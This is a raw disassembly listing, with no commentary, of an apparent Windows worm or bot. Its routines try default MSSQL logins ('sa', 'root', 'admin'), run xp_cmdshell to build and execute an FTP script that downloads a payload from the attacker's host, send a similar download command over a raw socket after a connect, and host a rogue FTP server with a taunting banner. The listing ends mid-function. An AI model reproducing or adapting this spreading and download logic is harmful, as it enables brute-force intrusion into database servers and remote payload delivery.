arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_404BA9
		call	sub_4208DC


loc_404BA9:				; CODE XREF: sub_404B91+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_404BBB
		mov	esi, [ebp+arg_8]


loc_404BBB:				; CODE XREF: sub_404B91+25j
		cmp	edi, ebx
		jnz	short loc_404BD9
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_404D51
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_404D51
		jmp	short loc_404C55
; ---------------------------------------------------------------------------


loc_404BD9:				; CODE XREF: sub_404B91+2Cj
		test	esi, esi
		jbe	short loc_404C1C
		cmp	esi, eax
		jnz	short loc_404C1C
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404BED
		mov	eax, offset dword_421258


loc_404BED:				; CODE XREF: sub_404B91+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404C1C
		push	1
		mov	ecx, edi
		call	sub_404CE4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C08
		mov	eax, offset dword_421258


loc_404C08:				; CODE XREF: sub_404B91+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404C55
; ---------------------------------------------------------------------------


loc_404C1C:				; CODE XREF: sub_404B91+4Aj
					; sub_404B91+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_404C5E
		test	al, al
		jz	short loc_404C55
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_404C39
		mov	eax, offset dword_421258


loc_404C39:				; CODE XREF: sub_404B91+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4153F0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404C55:				; CODE XREF: sub_404B91+46j
					; sub_404B91+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404B91	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C5E	proc near		; CODE XREF: sub_40467C+3Dp
					; sub_404ADF+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_404C70
		call	sub_4206B0


loc_404C70:				; CODE XREF: sub_404C5E+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_404C98
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_404C98
		cmp	cl, 0FFh
		jz	short loc_404C98
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_404CD7
		dec	byte ptr [eax-1]
		push	edx


loc_404C8F:				; CODE XREF: sub_404C5E+48j
		call	sub_404CE4


loc_404C94:				; CODE XREF: sub_404C5E+4Cj
					; sub_404C5E+53j
		xor	al, al
		jmp	short loc_404CDF
; ---------------------------------------------------------------------------


loc_404C98:				; CODE XREF: sub_404C5E+19j
					; sub_404C5E+20j ...
		cmp	edi, edx
		jnz	short loc_404CB3
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CA8
		push	1
		mov	ecx, esi
		jmp	short loc_404C8F
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_404C5E+42j
		cmp	eax, edx
		jz	short loc_404C94
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_404C94
; ---------------------------------------------------------------------------


loc_404CB3:				; CODE XREF: sub_404C5E+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CD0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404CC5
		cmp	eax, edi
		jnb	short loc_404CDD


loc_404CC5:				; CODE XREF: sub_404C5E+61j
		push	1
		mov	ecx, esi
		call	sub_404CE4
		jmp	short loc_404CD5
; ---------------------------------------------------------------------------


loc_404CD0:				; CODE XREF: sub_404C5E+59j
		cmp	[esi+0Ch], edi
		jnb	short loc_404CDD


loc_404CD5:				; CODE XREF: sub_404C5E+70j
		mov	ecx, esi


loc_404CD7:				; CODE XREF: sub_404C5E+2Bj
		push	edi
		call	sub_404DB8


loc_404CDD:				; CODE XREF: sub_404C5E+65j
					; sub_404C5E+75j
		mov	al, 1


loc_404CDF:				; CODE XREF: sub_404C5E+38j
		pop	edi
		pop	esi
		retn	8
sub_404C5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404CE4	proc near		; CODE XREF: sub_40467C+1Fp
					; sub_40467C+16Bp ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404D0C
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404D0C
		dec	eax
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_404D05
		cmp	cl, 0FFh
		jz	short loc_404D05
		dec	byte ptr [eax]
		jmp	short loc_404D0C
; ---------------------------------------------------------------------------


loc_404D05:				; CODE XREF: sub_404CE4+16j
					; sub_404CE4+1Bj
		push	eax
		call	sub_41630F
		pop	ecx


loc_404D0C:				; CODE XREF: sub_404CE4+8j
					; sub_404CE4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404CE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D1C	proc near		; CODE XREF: .text:00404A0Ap
					; sub_404E75+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		push	edi
		mov	esi, ecx
		call	sub_404C5E
		test	al, al
		jz	short loc_404D4A
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4153F0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404D4A:				; CODE XREF: sub_404D1C+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_404D1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D51	proc near		; CODE XREF: sub_404B91+35p
					; sub_404B91+41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_404D64
		call	sub_4208DC


loc_404D64:				; CODE XREF: sub_404D51+Cj
		mov	ecx, edi
		call	sub_404E75
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404D7A
		mov	ebx, eax


loc_404D7A:				; CODE XREF: sub_404D51+25j
		test	ebx, ebx
		jbe	short loc_404DB0
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416320
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_404C5E
		test	al, al
		jz	short loc_404DB0
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404DB0:				; CODE XREF: sub_404D51+2Bj
					; sub_404D51+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404D51	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DB8	proc near		; CODE XREF: sub_404C5E+7Ap
		mov	eax, offset loc_420B8C
		call	sub_4162F0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404DDE
		mov	edi, [ebp+8]


loc_404DDE:				; CODE XREF: sub_404DB8+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404DEB
		xor	eax, eax


loc_404DEB:				; CODE XREF: sub_404DB8+2Fj
		push	eax
		call	sub_416655
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404E1C
; ---------------------------------------------------------------------------


loc_404DF7:				; DATA XREF: .text:00421F04o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404E06
		xor	eax, eax


loc_404E06:				; CODE XREF: sub_404DB8+4Aj
		push	eax
		call	sub_416655
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404E16
		retn
; ---------------------------------------------------------------------------


loc_404E16:				; DATA XREF: sub_404DB8+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_404E1C:				; CODE XREF: sub_404DB8+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404E3A
		cmp	eax, edi
		jbe	short loc_404E29
		mov	eax, edi


loc_404E29:				; CODE XREF: sub_404DB8+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4153F0
		add	esp, 0Ch


loc_404E3A:				; CODE XREF: sub_404DB8+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404CE4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404E5A
		mov	edi, ebx


loc_404E5A:				; CODE XREF: sub_404DB8+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_404DB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_404E75	proc near		; CODE XREF: sub_404D51+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404EA2
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404EA2
		cmp	al, 0FFh
		jz	short loc_404EA2
		push	1
		call	sub_404CE4
		push	esi
		call	sub_415B10
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_404D1C


loc_404EA2:				; CODE XREF: sub_404E75+9j
					; sub_404E75+10j ...
		pop	edi
		pop	esi
		retn
sub_404E75	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EA5	proc near		; DATA XREF: .text:00423008o
		test	byte_46BDF4, 1
		jnz	short loc_404EB5
		or	byte_46BDF4, 1


loc_404EB5:				; CODE XREF: sub_404EA5+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_4166D0
		pop	ecx
		retn
sub_404EA5	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EC7	proc near		; CODE XREF: .text:00405120p

var_E2C		= byte ptr -0E2Ch
var_A2C		= byte ptr -0A2Ch
var_62C		= byte ptr -62Ch
var_22C		= byte ptr -22Ch
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		sub	esp, 0E2Ch
		mov	al, byte_43B658
		push	esi
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_14]
		xor	esi, esi
		push	eax
		push	esi
		push	1
		mov	[ebp+var_2C], offset aSa ; "sa"
		mov	[ebp+var_28], offset aRoot ; "root"
		mov	[ebp+var_24], offset aAdmin ; "admin"
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_8], esi
		call	dword_43C9A8
		test	ax, ax
		jnz	short loc_404F25
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	[ebp+var_14]
		call	dword_43CAAC
		test	ax, ax
		jz	short loc_404F2C


loc_404F25:				; CODE XREF: sub_404EC7+45j
		xor	eax, eax
		jmp	loc_4050FC
; ---------------------------------------------------------------------------


loc_404F2C:				; CODE XREF: sub_404EC7+5Cj
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_14]
		push	2
		call	dword_43C9A8
		test	ax, ax
		jnz	loc_4050EF
		push	ebx
		lea	eax, [ebp+var_2C]
		push	edi
		mov	edi, dword_421060
		mov	[ebp+var_C], eax
		mov	ebx, offset byte_42C2B4


loc_404F57:				; CODE XREF: sub_404EC7+1C4j
		cmp	off_42C440, esi
		jz	loc_405082
		mov	eax, offset off_42C440
		mov	esi, eax


loc_404F6A:				; CODE XREF: sub_404EC7+118j
		lea	ecx, [ebp+var_1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		lea	eax, [ebp+arg_4]
		push	[ebp+arg_A0]
		push	eax
		lea	eax, [ebp+var_A2C]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_415316
		add	esp, 1Ch
		lea	eax, [ebp+var_1A]
		push	0
		push	eax
		lea	eax, [ebp+var_E2C]
		push	400h
		push	eax
		lea	eax, [ebp+var_A2C]
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A2C]
		push	eax
		push	0
		push	[ebp+var_10]
		call	dword_43CA60
		test	ax, ax
		jz	short loc_404FE6
		cmp	ax, 1
		jz	short loc_404FE6
		push	1F4h
		call	edi	; Sleep
		add	esi, 4
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_404F6A
		jmp	loc_405080
; ---------------------------------------------------------------------------


loc_404FE6:				; CODE XREF: sub_404EC7+101j
					; sub_404EC7+107j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_10]
		push	3
		call	dword_43C9A8
		push	ebx
		push	ebx
		call	sub_415372
		push	eax
		call	sub_415372
		push	eax
		push	dword_43B670
		push	[ebp+arg_0]
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_62C]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		push	eax
		call	sub_415316
		add	esp, 20h
		lea	eax, [ebp+var_62C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43C9E8
		test	ax, ax
		jz	short loc_405075
		mov	esi, 1388h
		push	esi
		call	edi	; Sleep
		push	ebx
		lea	eax, [ebp+var_62C]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_415316
		add	esp, 0Ch
		lea	eax, [ebp+var_62C]
		push	0FFFFFFFDh
		push	eax
		push	[ebp+var_8]
		call	dword_43C9E8
		test	ax, ax
		jz	short loc_405093
		push	esi
		call	edi	; Sleep


loc_405075:				; CODE XREF: sub_404EC7+175j
		push	[ebp+var_8]
		push	3
		call	dword_43CA40


loc_405080:				; CODE XREF: sub_404EC7+11Aj
		xor	esi, esi


loc_405082:				; CODE XREF: sub_404EC7+96j
		add	[ebp+var_C], 4
		mov	eax, [ebp+var_C]
		cmp	[eax], esi
		jnz	loc_404F57
		jmp	short loc_4050DF
; ---------------------------------------------------------------------------


loc_405093:				; CODE XREF: sub_404EC7+1A9j
		cmp	[ebp+arg_B4], 0
		mov	[ebp+var_18], 1
		jnz	short loc_4050C1
		push	0
		lea	eax, [ebp+var_22C]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_4050C1:				; CODE XREF: sub_404EC7+1DAj
		lea	eax, [ebp+var_22C]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_4050DF:				; CODE XREF: sub_404EC7+1CAj
		push	[ebp+var_10]
		push	2
		call	dword_43CA40
		mov	esi, [ebp+var_18]
		pop	edi
		pop	ebx


loc_4050EF:				; CODE XREF: sub_404EC7+77j
		push	[ebp+var_14]
		push	1
		call	dword_43CA40
		mov	eax, esi


loc_4050FC:				; CODE XREF: sub_404EC7+60j
		pop	esi
		leave
		retn
sub_404EC7	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [esp+0C8h]
		mov	dword ptr [esp+168h], 599h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404EC7
		push	2Fh
		lea	esi, [esp+0CCh]
		pop	ecx
		mov	dword ptr [esp+168h], 1BDh
		mov	edi, esp
		rep movsd
		call	sub_403C74
		add	esp, 0BCh
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40514F	proc near		; CODE XREF: .text:0040534Dp

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43CA64	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_426744
		push	eax
		call	dword_43CA24	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43CAA4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_405268
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43C9CC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_405268
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		mov	esi, offset byte_42C2B4
		push	esi
		push	esi
		push	dword_43B670
		push	[ebp+arg_0]
		call	sub_40A08A
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405268
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425090
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43CA74	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40526C


loc_405268:				; CODE XREF: sub_40514F+51j
					; sub_40514F+67j ...
		xor	al, al
		jmp	short loc_40528A
; ---------------------------------------------------------------------------


loc_40526C:				; CODE XREF: sub_40514F+117j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43CA3C	; recv
		push	ebx
		call	dword_43CABC	; closesocket
		mov	al, 1


loc_40528A:				; CODE XREF: sub_40514F+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40514F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	dword_4211CC	; gethostbyname
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052B9
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4211DC	; inet_addr
		mov	ebx, eax
		jmp	short loc_4052BF
; ---------------------------------------------------------------------------


loc_4052B9:				; CODE XREF: .text:004052A9j
		mov	ebx, [ebp+0C0h]


loc_4052BF:				; CODE XREF: .text:004052B7j
		push	11h
		push	2
		push	2
		call	dword_4211E4	; socket
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052E9
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		jmp	short loc_4052EC
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: .text:004052CFj
		mov	[ebp-0Ch], ebx


loc_4052EC:				; CODE XREF: .text:004052E7j
		test	esi, esi
		jz	short loc_4052FA
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_405300
; ---------------------------------------------------------------------------


loc_4052FA:				; CODE XREF: .text:004052EEj
		mov	word ptr [ebp-10h], 2


loc_405300:				; CODE XREF: .text:004052F8j
		push	598h
		call	dword_4211E0	; ntohs
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		call	dword_4211E8	; connect
		test	eax, eax
		jnz	short loc_405381
		push	eax
		push	152h
		push	offset dword_4265F0
		push	edi
		call	dword_4211F0	; send
		push	3E8h
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40514F
		add	esp, 0BCh
		test	al, al
		jz	short loc_405361
		xor	eax, eax
		inc	eax
		jmp	short loc_405393
; ---------------------------------------------------------------------------


loc_405361:				; CODE XREF: .text:0040535Aj
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]
		jmp	short loc_405391
; ---------------------------------------------------------------------------


loc_405381:				; CODE XREF: .text:0040531Ej
		push	1
		push	edi
		call	dword_4211D0	; shutdown
		push	edi
		call	dword_4211F4	; closesocket


loc_405391:				; CODE XREF: .text:0040537Fj
		xor	eax, eax


loc_405393:				; CODE XREF: .text:0040535Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405398	proc near		; DATA XREF: sub_4071B6+227o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		inc	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_238], edi
		mov	[ebp+var_438], edi
		call	dword_4211B4	; WSAStartup
		push	edi
		call	sub_41697B
		push	eax
		call	sub_415368
		push	0FA00h
		push	471h
		call	sub_413F12
		add	esp, 10h
		mov	dword_43B670, eax
		push	edi
		push	ebx
		push	2
		call	dword_4211E4	; socket
		mov	esi, eax
		lea	eax, [ebp+var_24]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_4211B8	; setsockopt
		lea	eax, [ebp+var_28]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4211BC	; ioctlsocket
		mov	ax, word ptr dword_43B670
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_4211E0	; ntohs
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_4211C0	; bind
		test	eax, eax
		jge	short loc_40546D
		mov	eax, ebx
		jmp	loc_405978
; ---------------------------------------------------------------------------


loc_40546D:				; CODE XREF: sub_405398+CCj
		push	0Ah
		push	esi
		call	dword_4211C4	; listen
		mov	[ebp+var_238], ebx
		mov	ebx, dword_4211F0
		mov	[ebp+var_234], esi
		mov	[ebp+var_4], esi


loc_40548B:				; CODE XREF: sub_405398+12Aj
					; sub_405398+5D8j
		push	41h
		lea	esi, [ebp+var_238]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_438]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_4211D4	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405975
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_40548B


loc_4054C4:				; CODE XREF: sub_405398+5D2j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415390
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_415390
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_420A06	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405963
		cmp	edi, [ebp+var_C]
		jnz	short loc_40556D
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_C]
		call	dword_4211C8	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405963
		mov	edx, [ebp+var_238]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40553F


loc_405531:				; CODE XREF: sub_405398+1A5j
		cmp	[ebp+ecx*4+var_234], eax
		jz	short loc_40553F
		inc	ecx
		cmp	ecx, edx
		jb	short loc_405531


loc_40553F:				; CODE XREF: sub_405398+197j
					; sub_405398+1A0j
		cmp	ecx, edx
		jnz	short loc_405555
		cmp	edx, 40h
		jnb	short loc_405555
		mov	[ebp+ecx*4+var_234], eax
		inc	[ebp+var_238]


loc_405555:				; CODE XREF: sub_405398+1A9j
					; sub_405398+1AEj
		cmp	eax, [ebp+var_4]
		jle	short loc_40555D
		mov	[ebp+var_4], eax


loc_40555D:				; CODE XREF: sub_405398+1C0j
		push	esi
		push	15h
		push	offset a220Fuckftpd0wn ; "220 fuckFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_405963
; ---------------------------------------------------------------------------


loc_40556D:				; CODE XREF: sub_405398+167j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_4211EC	; recv
		test	eax, eax
		jg	short loc_4055CA
		mov	ecx, [ebp+var_238]
		xor	eax, eax
		cmp	ecx, esi
		jbe	short loc_4055BE


loc_40558E:				; CODE XREF: sub_405398+202j
		cmp	[ebp+eax*4+var_234], edi
		jz	short loc_4055B3
		inc	eax
		cmp	eax, ecx
		jb	short loc_40558E
		jmp	short loc_4055BE
; ---------------------------------------------------------------------------


loc_40559E:				; CODE XREF: sub_405398+21Ej
		mov	ecx, [ebp+eax*4+var_230]
		mov	[ebp+eax*4+var_234], ecx
		mov	ecx, [ebp+var_238]
		inc	eax


loc_4055B3:				; CODE XREF: sub_405398+1FDj
		dec	ecx
		cmp	eax, ecx
		jb	short loc_40559E
		dec	[ebp+var_238]


loc_4055BE:				; CODE XREF: sub_405398+1F4j
					; sub_405398+204j
		push	edi
		call	dword_4211F4	; closesocket
		jmp	loc_405963
; ---------------------------------------------------------------------------


loc_4055CA:				; CODE XREF: sub_405398+1E8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416947
		lea	eax, [ebp+var_AC]
